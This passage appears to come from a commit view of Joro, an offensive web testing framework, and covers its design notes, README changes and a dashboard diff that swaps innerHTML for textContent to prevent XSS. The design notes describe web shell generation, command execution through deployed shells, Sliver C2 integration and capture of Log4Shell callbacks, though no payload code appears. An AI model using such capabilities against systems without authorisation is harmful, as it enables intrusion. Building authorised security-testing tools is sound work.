team.presence { users: [{ nickname, status, projectId }] } (status online|away|dnd; appear-offline omitted; projectId "" unless shared)
team.nickname_changed { oldNickname, newNickname }
team.relay { state: connecting|connected|disconnected|idle, error, httpStatus } (proxy→teamserver relay health; deduped by state, pushed to each client on connect)
fuzzer.started { campaignId, total }
fuzzer.result { campaignId, result: { index, payload, payloads?, statusCode, size, words, lines, durationMs, url } }
fuzzer.complete { campaignId, status, completed, errors }
manipulate.ws.frame { sessionId, direction: sent|received, opcode, payload (b64), isText, size, ts }
manipulate.ws.closed { sessionId, reason }
system.update.restarting {}
plugin.{name}.{eventType} { ... }
plugin.{name}.interaction { id, instanceId, hex, protocol, sourceIp, timestamp, queryName?, queryType?, method?, path?, rawRequest? }
```
---
## Go Dependencies
| Module | Purpose |
|--------|---------|
| `github.com/hashicorp/go-uuid` | UUIDs for shell auth keys |
| `github.com/gorilla/websocket` | WebSocket server |
| `github.com/miekg/dns` | DNS server (callback listener) |
| `modernc.org/sqlite` | Pure-Go SQLite (no CGO, cross-compiles) |
| `google.golang.org/grpc` + `google.golang.org/protobuf` | Sliver C2 client (protowire hand-encoded) |
| `github.com/spf13/pflag` | POSIX-compliant CLI flags |
| `github.com/BishopFox/joro/sdk` | Plugin SDK (local module via `replace`) |
| stdlib for everything else | `crypto/x509`, `crypto/ecdsa`, `embed`, `net/http`, `io/fs`, ... |
Tracked via `go.mod` / `go.sum` only — repo does **not** vendor (see "no vendor/" decision below). Add deps with `go get <module>` then `go mod tidy`. Commit `go.mod` + `go.sum` together. Do not hand-edit them.
---
## Key Design Decisions
- **No CLI mode.** All features through web UI. Don't add CLI flags for shell gen/exec.
- **No global variables.** Functions take parameters; globals removed in v0.5.0.
- **No `os.Exit` in packages.** Only `main.go` exits. Internal packages return errors.
- **Intercept uses per-request channels.** `InterceptQueue.Pause()` blocks the proxy goroutine until `Resolve()` or timeout (default 60s). Don't change to polling.
- **CA cert reused across restarts.** `cert.LoadOrCreate()` only regenerates when missing.
- **`web/dist/` embedded** via `//go:embed dist`. Populated by `npm run build` before Go compiles — `make build` runs the frontend first, and the goreleaser `before:` hook does the same. Bare `go build ./...` requires `npm run build` to have run.
- **Noise filter is separate from scope.** Silently tunnels common browser background traffic (captive portal, telemetry, OCSP, safe browsing) without capture. Enabled by default. Checked **before** scope — noisy hosts never MITM'd regardless of scope rules.
- **Two-level scope filtering.** L1 (CONNECT): host pattern only — out-of-scope hosts tunneled raw without MITM. L2 (request): host + method + path after TLS termination — out-of-scope requests forwarded without capture/intercept. Disabled by default; enabled with no rules blocks everything (safe default). Exclude rules override include rules.
- **Listener mode is mutually exclusive with proxy mode.** `--listener` starts DNS + HTTP callback servers + reduced API/UI. No CA, proxy, or intercept. Data in `~/.joro/callbacks.db`.
- **Token entropy:** 12 hex chars = 48 bits. Correlated by leftmost subdomain label.
- **Callback listeners are capture-only and pure-stdlib.** DNS uses `miekg/dns`; HTTP/SMTP/FTP/LDAP use only `net`/`bufio`/`crypto/tls` (no third-party protocol libs — supply-chain risk). `internal/callback/{ftp,ldap}.go` clone the `SMTPServer` shape (struct + `Start(ctx)` + `acceptLoop` + per-conn goroutine + optional implicit-TLS via shared `*tls.Config`). **FTP** is a fake server that captures USER/PASS + path args and refuses the data channel (`PASV`/`PORT` → `502`); it never opens a second socket or completes a transfer. **LDAP** hand-rolls a minimal BER TLV reader (`readTLV`/`readRawMessage` in `ldap.go` — *not* `encoding/asn1`, which is too DER-strict) to pull the bind DN / search baseObject (where JNDI/Log4Shell payloads land), then replies with canned success `BindResponse`/`SearchResultDone` echoing the messageID. Both `handleConnection`s open with `defer recover()` (untrusted network input) and cap message/line sizes before allocating. New protocols reuse existing `Interaction` columns (`Type`/`SourceIP`/`RawRequest`/`Headers`) — **no schema change**; the frontend `Callbacks.tsx` already renders `ftp`/`ldap` badges + a generic detail view, so **no frontend change**.
- **Correlation helpers (`internal/callback/token.go`).** `Correlate` (DNS subdomain label), `CorrelateSMTP` (email local-part then subdomain), and `CorrelateAny(store, candidates...)` — scans arbitrary captured strings for `[0-9a-fA-F]{16,}` runs and looks up the first 16 chars via `FindTokenByHex`. FTP/LDAP feed their captured fields (+ transcript/hex fallback) into `CorrelateAny`. **Limitation (interactsh parity):** a token present only in the *hostname* (resolved by DNS) and not in the LDAP/FTP payload can't be correlated from the connection itself — but the DNS lookup already records it under the `dns` type.
- **Privileged ports need root/capabilities on Linux.** DNS `:53`, SMTP `:25`, HTTP `:80`, HTTPS `:443`, SMTPS `:465`, FTP `:21`, LDAP `:389`, FTPS `:990`, LDAPS `:636` are all <1024. `setcap cap_net_bind_service=+ep ./joro` or iptables redirect; or use the `--{dns,http,https,smtp,smtps,ftp,ftps,ldap,ldaps}-port` flags to pick unprivileged ports.
- **`internal/event` package** holds shared `WSEvent` to avoid proxy↔callback import cycle.
- **Upstream TLS is maximally permissive (`internal/proxy/tlsconfig.go`).** All connections to target servers use `newUpstreamTLSConfig()`: `InsecureSkipVerify` (we MITM, never validate), `MinVersion: TLS 1.0`, and an explicit `CipherSuites` list of every suite Go implements — `tls.CipherSuites()` **plus** `tls.InsecureCipherSuites()`. The explicit list is required because Go 1.22+ omits the static-RSA key-exchange suites (`TLS_RSA_WITH_AES_*`) from the default ClientHello: without them, legacy servers that only accept those suites fail the handshake with `remote error: tls: handshake failure` (at handshake, *before* cert verification, so `InsecureSkipVerify` doesn't help). Listing every suite matches curl/OpenSSL reach. **Caveat:** Go's `crypto/tls` implements no finite-field DHE (`TLS_DHE_*`) suites, so a DHE-only server stays unreachable. Used by `transport.go`, `client.go`, `sender.go` (H1 + H2), `ws_relay.go`, `ws_manipulate.go` — add new upstream dials through this helper too.
- **Match & Replace operates on raw bytes.** Splits raw dump at `\r\n\r\n`, applies header/body rules independently, then reparses. Cumulative in order. Supports `string` and `regex`. Targets: `request_header`, `request_body`, `response_header`, `response_body`, `ws_message`. **HTTP/1.1 and HTTP/2 have separate apply functions — keep them in sync.** The H1 path uses `applyRequestReplace`/`applyResponseReplace` (`internal/proxy/replace.go`); the H2 MITM path uses `applyRequestReplaceRaw`/`applyResponseReplaceRaw` (`internal/proxy/h2_mitm.go`) because h2 has no textual wire format and works on synthesized raw bytes. The two paths mirror each other and must stay in sync — e.g. `stripBlankHeaderLines` (collapses blank lines from an empty replacement and drops colon-less orphan lines left by a name-only match) wraps header-rule output in *both* `applyRequestReplace` and `applyRequestReplaceRaw`. The H2 *response* path reparses headers via `parseHeaderBlock` (a header map), so blank/orphan lines vanish there without the helper.
- **WebSocket MITM uses custom frame reader/writer** on raw `net.Conn` (not gorilla). Detected via `Upgrade: websocket`. After 101, two goroutines relay bidirectionally. Control frames forwarded immediately; data frames accumulated until FIN, match/replace applied on complete messages, forwarded as single frame. 16MB payload limit.
- **WebSocket Manipulate is a client path, not proxy interception.** `internal/proxy/ws_manipulate.go` dials per-session (TCP or TLS w/ `InsecureSkipVerify`, honoring `TransportConfig.SOCKSDialContext()`), writes raw upgrade verbatim (injects `Sec-WebSocket-Key` only if missing), parses 101 with `http.ReadResponse`, reassembles continuation frames, calls `onFrame` per complete message. `Send` writes a single FIN masked frame. Sessions in-memory only, dropped on restart/error/close. Transcript streamed via `manipulate.ws.frame`/`manipulate.ws.closed` — sent frames also broadcast so multiple UI tabs stay in sync. Match & Replace intentionally NOT applied — what you type is what goes on the wire.
- **Custom Data is purely additive.** Unlike Match & Replace (needs match pattern), Custom Data appends headers, query params, or body data to in-scope requests. Applied after Match & Replace. UI in "Customize Requests" tab.
- **Fuzzer:** producer-consumer goroutine pool, 1-100 threads, rate limiting. Reuses `proxy.TransportConfig.Transport()` (SOCKS, HTTP/2, keep-alive). Results streamed via `fuzzer.result` with RAF batching client-side. Response bodies NOT stored — only metrics (status, size, words, lines, duration). Campaigns in memory (max 50, oldest completed evicted). Single (`FUZZ`) or multi-position (`FUZZ1`, `FUZZ2`, ...). Multi-position attack modes: **Spray** (same payload all positions), **Split** (parallel iteration), **Yolo** (cartesian product, max 10M). Detection regex `FUZZ(\d+)` with fallback to `FUZZ`. Replaced longest-label-first (e.g. `FUZZ10` before `FUZZ1`). Matchers (whitelist) / filters (blacklist) on status, size, words, lines, regex. Content-Length auto-update toggled by `updateContentLength`.
- **Proxy-mode API enforces same-origin requests** (`internal/api/originguard.go`). `originGuard` rejects state-changing requests (and the `/ws` upgrade) unless `Sec-Fetch-Site` is `same-origin`/`none` and any `Origin` matches the host, plus a loopback/`--bind` `Host` allowlist. No `Access-Control-Allow-Origin` header is set (the SPA and plugin iframes are same-origin; the proxy→teamserver path is a non-browser Go client). Non-browser local tooling (no `Sec-Fetch-Site`/`Origin`) is allowed. The Host whitelist can be extended with `--allowed-host` (comma-separated or repeatable, hostname-only comparison) for setups that reach the loopback UI under a non-loopback Host, such as an SSH tunnel entry address. This only relaxes the Host check; the same-origin CSRF check is untouched. Listener/team-server mode uses `team.AuthMiddleware`'s bearer token instead (no origin guard).
- **Sliver C2 uses custom protowire encoding** to avoid the massive Sliver dep tree. `internal/sliver/`: `wire.go` (hand-encoded proto), `client.go` (gRPC), `commands.go` (text command dispatcher). Binary downloads/screenshots cached server-side, 60s TTL. `POST /sliver/command` is the main interface — `{input}` → `{output, error, downloadId?, filename?}`. Active session tracked in `Client.activeSessionID`.
- **Team Server mode (`--listener --teamserver`)** extends listener mode with auth + collaboration. 32-char hex token generated at startup, printed to console. All teamserver requests (except `GET /api/v1/mode`) require `Authorization: Bearer <token>`. Nicknames via `X-Joro-Nickname`. Teamserver is API-only (no frontend). Proxy connects via `listenerUrl` and forwards team requests with `proxyToListener()`. Team data stored in `callbacks.db`. Active users tracked via WS hub client map (conn → nickname). Proxy maintains a WS relay (`ws_relay.go`) that forwards `team.*` events to the local hub. Nickname rename via `POST /api/v1/team/nickname` atomically renames in hub map and broadcasts `team.nickname_changed`, avoiding the disconnect/reconnect a full relay restart would cause; relay's cached nickname updated via `ListenerRelay.SetNickname()`. On 409 (collision), proxy rolls back the local `teamNickname` setting and surfaces the error. **Team Chat is a persisted session log.** On join the client fetches history (`GET /team/chat`, `listChatMessages({limit:200})` reversed to chronological) and `addMessage` dedupes by id so the live WS echo doesn't double up. Connect/disconnect/rename are persisted **server-side** as `author:"*"` system messages in `team_chat` (not synthesized client-side): the hub's `SetOnConnect`/`SetOnDisconnect` callbacks + `handleTeamRename` call `APIServer.postSystemChat`, which stores the message and broadcasts `team.chat`. `team.presence` drives only the active-users sidebar.
- **Flagged requests are self-contained artifacts, not history pointers.** Request history is local to each proxy instance, so a teammate on another machine can't dereference an ID into someone else's history. A flagged request therefore carries its own raw request/response bytes into the `team_flagged_requests` table on the team server. A **single** `POST /api/v1/team/flagged` both stores the artifact and creates a referencing chat message (via `CreateMessage`'s optional `refID` → new nullable `team_chat.ref_id` column), broadcasting **both** `team.flagged` (summary) and `team.chat` (chip). This keeps every UI entry point — History context menu, Manipulate "🚩 Flag" button, and the `/flag <seq>` chat slash command — to one API call. Responses are capped at **256KB** (`maxFlaggedRespBytes` in `handlers_team.go`) with a `truncated` flag surfaced in the viewer. List returns summaries without blobs; `GET /team/flagged/{id}` returns base64 `reqRaw`/`respRaw`. The `team_chat.ref_id` column is added by an idempotent `ALTER TABLE` in `MigrateDB` (swallows "duplicate column") since `CREATE TABLE IF NOT EXISTS` can't alter a pre-existing table. Frontend: `teamFlaggedStore` (fed by `team.flagged`/`team.flagged.deleted` WS events + a `listFlagged` poll in `Dashboard.fetchData`), a clickable chat chip and a **Flagged Requests panel split under Recent Interactions on the Dashboard** (team mode only), both opening `FlaggedRequestModal` (read-only CodeMirror + `ResponseRender`, with a "Send to Manipulate" button reusing `navigate('/manipulate', {state:{rawReq}})`). All flag entry points are gated on team mode (`listenerUrl` + `teamToken` + `teamNickname`).
- **Dead Drop shares requests via a portable file, no team server.** Where Flagged Requests need a live team server, the **Dead Drop** tab lets an operator stage captured requests (History context menu → "Stage for Dead Drop", on both the row menu — fetches bytes via `api.getRequest(id)` — and the detail menu — uses `selectedDetail`), reorder them by **drag-and-drop**, annotate, and export a self-contained **`.jord`** file that any Joro instance can import and view. **Entirely frontend, no backend/API changes.** `deadDropStore` (Zustand, **in-memory** — staged list is lost on reload; the exported file is the durable artifact) holds full records (base64 `reqRaw`/`respRaw` from `RequestDetail`). `lib/deaddrop.ts` serializes a `{type:"joro-deaddrop", version, exportedAt, author, title, note, items[]}` bundle: gzip via `CompressionStream` (plain-JSON fallback when absent) on export; on import it sniffs the gzip magic bytes `0x1f 0x8b` → `DecompressionStream`, else parses plain JSON (mirrors the backend `gunzipIfNeeded`). The **author** field is operator-entered on the staging screen (prefilled from `teamNickname` if set — no nickname exists in local mode). The viewer reuses `FlaggedRequestModal`, generalized with optional `title`/`byline` props (defaulted to the flag strings so `Dashboard` is unchanged). The access point is intentionally obscure — a low-profile icon in the header (with a staged-count badge), separate from the standard tabs rather than a named tab in `nav.ts`; the `/deaddrop` route still exists.
- **Operator presence carries opt-in status + Project ID.** `team.presence` is `[{nickname, status, projectId}]` (not bare nicknames): the hub keeps a `presenceMeta` map (nickname → `{status, projectId}`) and `ActiveUsersDetailed()` joins it with `clients` (default `online`), **omits appear-offline** users, and feeds both `broadcastPresence()` and `GET /team/users`; operators set **status** (online/away/dnd/appear-offline) + a **Share Project ID** toggle (default off) from the Dashboard Active Users sidebar (persisted in `Settings.TeamStatus`/`ShareProjectID`), which propagate via a forwarded `POST /team/presence` → `hub.SetPresenceMeta` (rebroadcasts, **never a relay reconnect**, so the session log isn't disturbed); the proxy pushes on join + on setting change, the server keeps meta across disconnects so a relay blip doesn't wipe a shared Project ID, and `Rename` migrates the meta.
- **Team relay connection state is surfaced to the UI, and team polls time out independently of the app.** The proxy→teamserver relay (`ListenerRelay`, `ws_relay.go`) reports transitions to the hub via `Hub.SetRelayState(state, err, httpStatus)` (states: `connecting`/`connected`/`disconnected`/`idle`), which broadcasts a **`team.relay`** WS event. Dedup lives in the hub (by `state` string) so the 1s→30s backoff loop can call freely without spamming; `run()` guards each call with a non-blocking `<-stop` check so a stale reconnect goroutine can't clobber the current one, and `Update()` sets `connecting` synchronously / calls `ClearRelayState()` (→`idle`) when stopped. On every `/ws` client connect, `ServeWS` re-broadcasts the last state (via the channel, **unconditional** — the local browser has no nickname) so a page reload mid-outage shows the truth. Frontend: `teamConnectionStore` (default `connecting`) fed by the `team.relay` case in `ws.ts` (toasts **only** on connected→disconnected); drives the App header dot color, the Dashboard `NetworkGraph` `connected` prop (gated on `settings.listenerUrl` so solo mode stays "connected"), and a status row in the Settings Team Server card. `req()` (`lib/api.ts`) takes an optional `timeoutMs` (`AbortController`); the listener-proxied polling GETs (chat/notes/flagged/users/callbacks/xss lists) use `TEAM_POLL_TIMEOUT` (4s) so a dead team server can't hang them for the full server-side `proxyToListener` timeout (10s; client abort cancels it via `r.Context()`) and starve the browser's ~6-connection HTTP/1.1 pool (which would delay unrelated local calls like `getSettings`). Dashboard `fetchData` + Notes `fetchHosts`/`fetchNotes` also **skip** those proxied polls when state is `disconnected`. Do **not** add a global `req()` timeout — `/manipulate/send`, fuzzer, and uploads can be legitimately slow.
- **Team notes have soft ownership + in-place edit.** `PUT /api/v1/team/notes/{id}` edits content (bumps `updated_at`); both PUT and DELETE fetch the note first and 403 unless `team.NicknameFromContext` matches the note's `author` ("soft" because nickname is the only identity). The frontend (`Notes.tsx`) hides the ✎/✕ affordances on notes the current `teamNickname` doesn't own, and shows an "(edited)" marker when `updatedAt != createdAt`. Edit/delete broadcast `team.note` / `team.note.deleted`. Local notes (`internal/notes`) also expose `PUT /notes/{id}` but with **no** ownership check (single operator); their UI affordances always show.
- **Project ID + shared config plumbing (common to the two features below).** An optional free-form **Project ID** rides in `Settings.ProjectID` + `projectConfigFile.projectId` (additive field; wired like the team fields — set on the Setup screen or Settings tab, saved into the project file, applied on load) and labels an engagement. Chat chips distinguish artifact kinds via the `team_chat.ref_type` column (`flagged`/`collab`/`config`, idempotent `ALTER TABLE` like `ref_id`); `CreateMessage` takes `(id, author, text, refID, refType)`. `handleLoadProjectConfig`/`handleSaveProjectConfig` share `buildProjectConfig` / `applyProjectConfig` / `gzipJSON` / `gunzipIfNeeded` helpers — keep both paths on them.
- **Feature: publish / load a shared project config (async, whole-project).** `GET /api/v1/configs/export` serializes the current live project (via `buildProjectConfig` + `gzipJSON`, the same helpers the save handler uses) to base64(gzip); the frontend publishes it to the `team_shared_configs` table on the team server (`POST /team/configs {name, projectId, config}`, blob opaque to the server) and it appears in the Settings **Team Configs** panel. Loading calls `POST /api/v1/configs/import`, which writes a **new** local project file and runs the shared `applyProjectConfig` — **preserving the importer's own nickname** (adopts the shared listener URL + token) and returning **409 on a name collision** rather than clobbering. This shares the full project (scope/M&R/customdata + noise, notes, highlights, history, plugin states, team settings).
- **Team chat slash commands** (all handled in `Dashboard.sendMessage`, team-mode only; in solo mode they show a "connect to a team server" hint instead of posting literal text). `/flag <seq> [note]` and `/collab <note>` (above); `/slap <user>` and `/me <text>` post **IRC-style action messages** — `sendChatMessage(text, 'action')` sets `refType:"action"` (the only client-settable refType; `handleCreateChatMessage` rejects forged `flagged`/`collab`/`config`), rendered italic as `* <author> <text>` with no name-colon prefix; `/nick <name>` calls `updateSettings({teamNickname})` (reuses the rename→`renameOnTeamServer` path, surfaces 409); `/help` appends a **local-only** `author:"*"` system message (the system-message span is `whitespace-pre-wrap` so the multi-line list renders).
- **Feature: collaboration request → diff-aware swap (via chat, rules-only).** The `/collab <note>` chat slash command posts a `team_collab_requests` row carrying a **3-field bundle** (scope/M&R/customdata JSON, built by `gatherCurrentRules()`) + a `refType:"collab"` chat chip naming the Project ID. Clicking the chip opens `CollabSwapModal`, which diffs the incoming bundle against the operator's current rules and offers four actions: **merge / save-and-load / load-without-saving / keep-current**. Merge/replace go through `POST /api/v1/configs/apply-shared {config, mode}` → bulk setters on **scope/replace/customdata only** — the swap **never touches history, notes, highlights, team settings, Project ID, or the project-file schema**. `save-and-load` first calls the existing `saveProjectConfig`; `keep-current` applies nothing. Every choice records `POST /team/collab/{id}/accept`.
- **Plugin system uses Go's `plugin` package** (.so on Linux, .dylib on macOS). **Linux and macOS only** — Go's plugin package does not support Windows or any GOOS outside Linux/Darwin/FreeBSD. `joro --build-plugin` errors immediately on Windows; release binaries on Windows still load fine but cannot use plugins. Plugin support requires the host binary to be built with `CGO_ENABLED=1`; the goreleaser config + Makefile do this via `zig cc`. Loaded at startup from `~/.joro/plugins/`. Each exports `var Plugin sdk.Plugin`. SDK in `sdk/sdk.go` as separate Go module (`replace` in go.mod). Six plugin types: `exec_provider`, `tab`, `feature`, `proxy_hook`, `dashboard` (only one active), `interact_provider`. Names match `^[a-z0-9][a-z0-9_-]*$`, can't be reserved (`api`, `ws`, `ext`, `system`). All method calls wrapped with panic recovery. Plugins get scoped data dir (`~/.joro/plugin-data/{name}/`) and scoped WS broadcast (events auto-prefixed `plugin.{name}.`). Tab/feature/dashboard plugins serve embedded UIs at `/plugin/{name}/` in iframes sandboxed with `allow-scripts allow-forms allow-same-origin`. `allow-same-origin` makes their `/api/v1/*` calls genuine same-origin requests (so they pass `originGuard` with no plugin code changes); it's safe because plugins are already trusted native code running in-process, so the iframe sandbox was never a real boundary against them. Upload/delete require restart — Plugins page has "Restart Now" button (`POST /api/v1/system/restart`, same `syscall.Exec` re-exec as updates). Proxy hooks run in load order; `OnRequest` returning nil drops a request. `ConfigField.Type` ∈ `text|password|textarea|file|checkbox`; checkboxes serialize as `"true"`/`"false"` to preserve `map[string]string` wire shape.
- **Plugin state persistence is opt-in via two SDK interfaces.** `UserStatefulPlugin` (`ExportUserState`/`ImportUserState`) — operator-scoped state riding with User Configs (API keys, personal tokens). `ProjectStatefulPlugin` (`ExportProjectState`/`ImportProjectState`) — engagement-scoped state riding with Project Configs (active sessions, instance configs). May implement either, both, or neither. State bytes are opaque — plugins own schema and migration. No autosave on shutdown, no separate on-disk state files: serialized only when user saves a User/Project Config, applied only on load. `internal/plugins/manager.go` exposes `{Export,Apply}{User,Project}States`. Config handlers in `internal/api/handlers_configs.go` embed a `pluginStates` map (name → base64 blob) in `userConfigFile` (v2) and `projectConfigFile` (v3), and ghost-preserve blobs for plugins not installed locally via `APIServer.pendingUserPluginStates` / `pendingProjectPluginStates`, so a load→save round-trip never drops state for missing plugins. Load responses include `unknownPluginStates: []` shown in Settings.
- **Interactsh shipped as an example plugin** (`examples/plugins/interactsh/`), not native. Reimplements interactsh wire protocol with stdlib only — RSA-2048 keygen, RSA-OAEP-SHA256 for session AES-256 key, AES-CTR for per-interaction payloads, per-instance `http.Client` with opt-in `InsecureSkipVerify` for self-signed self-hosted servers. Main binary has zero `projectdiscovery/*` deps. Implements `ProjectStatefulPlugin` (`state.go`): saves RSA keypair (PKCS#1 PEM), correlation ID, nonce, secret key, auth token, enabled state per server. Loading reconstructs servers and resumes polling without re-registering, so in-flight interactions keep decrypting against the existing session. Correlation IDs only useful while the remote server retains them (~24h on oast.live).
- **No `vendor/` directory.** Tracked via `go.mod`/`go.sum` only. Plugins have own `go.mod` with `replace github.com/BishopFox/joro/sdk => ../../../sdk`, building in mod-mode. If the main binary built in vendor-mode, its module graph would hash differently than the plugin's and Go's plugin loader would reject the .so/.dylib with `plugin was built with a different version of package github.com/BishopFox/joro/sdk`. Do not run `go mod vendor` or commit a `vendor/` tree.
- **Theming uses CSS custom properties + `data-theme` attribute.** See Theme Architecture below.
---
## Theme Architecture
UI ships **Bishop Fox** theme (BF brand palette, id `bishop-fox`) as default, alongside named alternates. Colors are CSS custom properties on `[data-theme="..."]` selectors, mapped to semantic Tailwind classes via `tailwind.config.js`.
Brand palette uses 16 colors — White, Black, Red `#FA4844`, Magenta `#BF1363`, Crimson `#E40505`, Coral `#EF5B5B`, Orange `#FF7F11`, Amber `#FFBA49`, Lime `#D7E300`, Teal `#00A49E`, plus 6 grays/browns from light gray to near-black.
### CSS Variable → Tailwind Class Mapping
| CSS Variable | Tailwind Class | Usage |
|---|---|---|
| `--color-surface-body` | `bg-surface-body` | Page background |
| `--color-surface-card` | `bg-surface-card` | Cards, panels, header |
| `--color-surface-input` | `bg-surface-input` | Inputs, elevated surfaces |
| `--color-surface-hover` | `bg-surface-hover` | Hover backgrounds |
| `--color-surface-terminal` | `bg-surface-terminal` | Terminal background |
| `--color-border`, `--color-border-subtle` | `border-border`, `border-border-subtle` | Borders, row separators |
| `--color-content-{primary,secondary,muted}` | `text-content-{primary,secondary,muted}` | Text |
| `--color-accent` (+`-hover`) | `text-accent`, `bg-accent` | Primary — red (title, selected tabs, toggles) |
| `--color-accent-secondary` (+`-hover`) | `text-accent-secondary`, `bg-accent-secondary` | Secondary — teal (action buttons, links) |
| `--color-accent-tertiary` (+`-hover`) | `text-accent-tertiary`, `bg-accent-tertiary` | Tertiary — lime (forward/generate actions) |
| `--color-semantic-success` | `text-semantic-success` | Lime |
| `--color-semantic-error` (+`-bg`, `-hover`) | `text-semantic-error`, `bg-semantic-error-bg`, `bg-semantic-error-hover` | Red text / crimson bg / coral hover |
| `--color-semantic-info` | `text-semantic-info` | Teal |
| `--color-semantic-warning` | `text-semantic-warning` | Amber |
| `--color-semantic-special` | `text-semantic-special` | Magenta |
### How It Works
1. `web/index.html` has `data-theme="bishop-fox"` on `<html>`
2. Each `web/src/themes/<name>.css` defines variables under `[data-theme="<name>"]`
3. `web/tailwind.config.js` maps semantic classes to `var(--color-*)`
4. Components use semantic classes only — never raw Tailwind colors
To add a new theme: create `web/src/themes/<name>.css` with all `--color-*` variables under `[data-theme="<name>"]`, import in `web/src/index.css`, set `data-theme="<name>"` on `<html>` to activate.
### Important
- **No raw Tailwind colors in components.** No `bg-gray-*`, `text-red-*`, etc. in TSX. Always use semantic classes.
- **Three accent colors:** Red (`accent`) for brand/emphasis/selected, Teal (`accent-secondary`) for actions/links, Lime (`accent-tertiary`) for positive/forward.
- **`bg-accent-tertiary` and `bg-accent-secondary` buttons need `text-black`** for legibility.
- **Tailwind opacity syntax (`bg-color/80`) won't work** with CSS variable colors. Use a dedicated variable or a different palette color.
- **CodeMirror uses `oneDark`** — not yet integrated with theming.
- **Theme selector** on Settings page. Stored in `localStorage` under `joro-theme`, applied on load in `main.tsx`.
---
## Testing
No automated tests yet. Manual verification:
1. `go build ./...` compiles cleanly
2. `./joro` prints `Proxy listening on :8080` and `UI available at http://localhost:9090`
3. Browser proxy → `localhost:8080`; import `~/.joro/ca.crt`
4. Browse HTTPS site; requests appear in History
5. Enable Intercept; next request pauses; edit and forward
6. Manipulate (HTTP): paste raw, send, verify response + timing
7. Manipulate (WS): connect to `wss://echo.websocket.events/`, send text/binary/ping, verify echo, disconnect
8. Generate PHP/ASHX shell, verify auth key + content
9. Execute: enter target + shell + key, run `whoami`
10. Plugins: `./joro --build-plugin examples/plugins/hello-feature --install`, restart, verify load; upload via UI + "Restart Now" + verify
+5 -21
View File
@@ -1,35 +1,19 @@
# Joro
![](assets/header.png)
A web exploitation framework for offensive security professionals. Intercepting proxy, blind vulnerability detection, web shell generation, C2 integration, and collaboration tools in a single binary with an embedded web UI.
![](examples/images/joro.png)
> Warning: This tool is intended for authorized penetration testing and security research only. You must only use Joro against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. Bishop Fox assumes no liability and is not responsible for any misuse or damage caused by this tool. Use responsibly.
## Features
- **Intercepting proxy** - capture, inspect, and modify HTTP/HTTPS traffic in real time
- **HTTPS MITM** - transparent TLS interception using a generated CA certificate
- **HTTP History** - searchable, filterable log of all proxied requests and responses
- **WebSocket capture** - inspect WebSocket frames alongside HTTP traffic
- **Intercept** - pause requests mid-flight, edit them in a syntax-highlighted editor, then forward or drop
- **Manipulate** - send and replay raw HTTP requests with a side-by-side response viewer
- **Site Map** - auto-generated tree of all proxied hosts, endpoints, and query parameter variants
- **Fuzzer** - multi-position HTTP fuzzer with configurable concurrency, matchers, filters, and three attack modes
- **Generate** - generate obfuscated web shells and droppers in PHP, ASP, ASPX, JSP, and CFM
- **Execute** - run commands via deployed web shells or a connected Sliver C2 teamserver
- **Listener mode** - out-of-band callback server (DNS + HTTP) for blind vulnerability detection
- **XSS Hunter** - blind XSS detection with probe payloads, screenshot capture, and DOM snapshots
- **Sliver C2** - connect to a Sliver teamserver to execute commands on active sessions and beacons
- **Transform** - encoding/decoding chains, hash generation, and JWT tampering tools
- **Team Server** - collaborative mode with shared team chat, shared notes, and active user presence
- **Notes** - per-host notes for tracking findings during engagements
- **Plugins** - extend Joro with Go plugins for custom execution backends, proxy hooks, tabs, and dashboards (Linux and macOS only - Go's plugin package does not support Windows)
- **Single binary** - the entire UI is embedded, nothing to install separately
Joro covers a web application engagement end to end: an intercepting proxy for viewing and editing requests and responses, a site map and searchable history, a fuzzer, passive scanning that surfaces secrets and misconfigurations in captured traffic, out-of-band listeners for blind vulnerabilities, web shell generation and execution, Sliver and Mythic C2 integration, and a team server for running an engagement alongside other operators. Work saves to portable project files, and Go plugins enable Linux and macOS users to add anything missing.
## Installation
See the Joro wiki for [installation instructions](https://github.com/BishopFox/joro/wiki/Installation) and a [quick start guide](https://github.com/BishopFox/joro/wiki/Getting-Started).
Grab a binary from [Releases](https://github.com/BishopFox/joro/releases), then see the wiki for [installation instructions](https://github.com/BishopFox/joro/wiki/Installation) and a [quick start guide](https://github.com/BishopFox/joro/wiki/Getting-Started).
## Help
Binary file not shown.

After

Width:  |  Height:  |  Size: 307 KiB

+30 -12
View File
@@ -238,6 +238,8 @@
return (ms / 1000).toFixed(1) + 's';
}
// Captured URLs are stored relative when the request reached the proxy in origin-form,
// and new URL() throws on those, so the fallback returns the string unchanged.
function extractPath(url) {
try {
const u = new URL(url);
@@ -247,6 +249,21 @@
}
}
// cell builds a <td>, setting text with textContent so a value is never parsed as markup.
function cell(text, opts) {
const td = document.createElement('td');
if (opts && opts.span) {
const span = document.createElement('span');
span.className = opts.span;
span.textContent = text;
td.appendChild(span);
} else {
td.textContent = text;
}
if (opts && opts.title) td.title = opts.title;
return td;
}
async function fetchJSON(url) {
const res = await fetch(url);
if (!res.ok) return null;
@@ -284,26 +301,27 @@
const emptyMsg = $('empty-msg');
if (!recent || !recent.items || recent.items.length === 0) {
tbody.innerHTML = '';
tbody.replaceChildren();
emptyMsg.style.display = 'block';
return;
}
emptyMsg.style.display = 'none';
// Values from the capture store are arbitrary bytes from the wire, so rows are built
// from DOM nodes rather than an interpolated markup string. That applies to the title
// attribute as much as to cell text.
const rows = recent.items.map(r => {
const mc = methodClass(r.method);
const sc = statusClass(r.statusCode);
const path = extractPath(r.url || '');
return `<tr>
<td><span class="method ${mc}">${r.method}</span></td>
<td><span class="status ${sc}">${r.statusCode || '-'}</span></td>
<td>${r.host || '-'}</td>
<td title="${path}">${path}</td>
<td>${fmtSize(r.respSize)}</td>
<td>${fmtDuration(r.durationMs)}</td>
</tr>`;
const tr = document.createElement('tr');
tr.appendChild(cell(r.method, { span: 'method ' + methodClass(r.method) }));
tr.appendChild(cell(r.statusCode || '-', { span: 'status ' + statusClass(r.statusCode) }));
tr.appendChild(cell(r.host || '-'));
tr.appendChild(cell(path, { title: path }));
tr.appendChild(cell(fmtSize(r.respSize)));
tr.appendChild(cell(fmtDuration(r.durationMs)));
return tr;
});
tbody.innerHTML = rows.join('');
tbody.replaceChildren(...rows);
}
refresh();
+2 -2
View File
@@ -1,11 +1,11 @@
// hello-feature is an example plugin feature (sub-tab in the Plugins page).
// hello-feature is an example plugin feature (sub-tab in Settings -> Plugins).
//
// Build:
//
// go build -buildmode=plugin -o hello-feature.so .
//
// Then place hello-feature.so in ~/.joro/plugins/ and restart Joro.
// A "Hello Feature" sub-tab will appear in the Plugins page.
// A "Hello Feature" sub-tab will appear in Settings -> Plugins.
